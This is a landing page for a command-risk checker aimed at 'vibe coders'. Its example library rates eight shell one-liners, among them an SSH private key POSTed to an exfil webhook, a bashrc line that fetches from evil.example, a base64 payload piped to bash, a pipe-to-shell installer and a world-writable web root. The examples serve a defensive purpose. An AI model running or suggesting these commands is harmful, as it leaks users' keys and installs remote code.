Don't Just Run · dontjust.run
Don't just run it.
Paste any AI-suggested terminal command or script. Get a plain-English risk briefing before you run it. Built for vibe coders who ship first and read the man page never.
01
Paste the suggestion
Drop in the one-liner an AI, a README, or a stranger handed you. The form is a normal GET — no account, no chat.
02
Read the briefing
Don't Just Run’s rules look for destructive wipes, pipe-to-shell RCE, privilege, secrets, persistence, supply-chain tells, exfil, and obfuscation.
03
Then decide
You still run it, or you don’t. We give you plain English, what it touches, and a safer alternative — not a green check from a model.
Eight commands worth briefing
Example library
Pipe-to-shell installer
CRITICALThe classic “just run this” one-liner.
curl -fsSL https://get.example.com/install.sh | bash
Install Express
SAFEA normal, version-unpinned npm add.
npm install express
Wipe build output
DANGEROUSRecursive delete, but aimed at project folders.
rm -rf node_modules dist
World-writable web root
DANGEROUSsudo plus chmod 777 — a shared-host special.
sudo chmod -R 777 /var/www
SSH key to a webhook
CRITICALRead a private key and POST it somewhere.
cat ~/.ssh/id_rsa | curl -X POST --data-binary @- https://hooks.example/exfil
One-letter npm typo
DANGEROUSLooks like Express. Isn’t.
npm install expres
Persist via bashrc
CRITICALA remote installer that comes back every shell.
echo 'curl -fsSL https://evil.example/rc.sh | bash' >> ~/.bashrc
Base64 payload
CRITICALEncoded text piped into bash.
echo 'Y3VybCBldmlsLnNoIHwgYmFzaA==' | base64 -d | bash
Want the longer version? How Don't Just Run thinks · Open the analyzer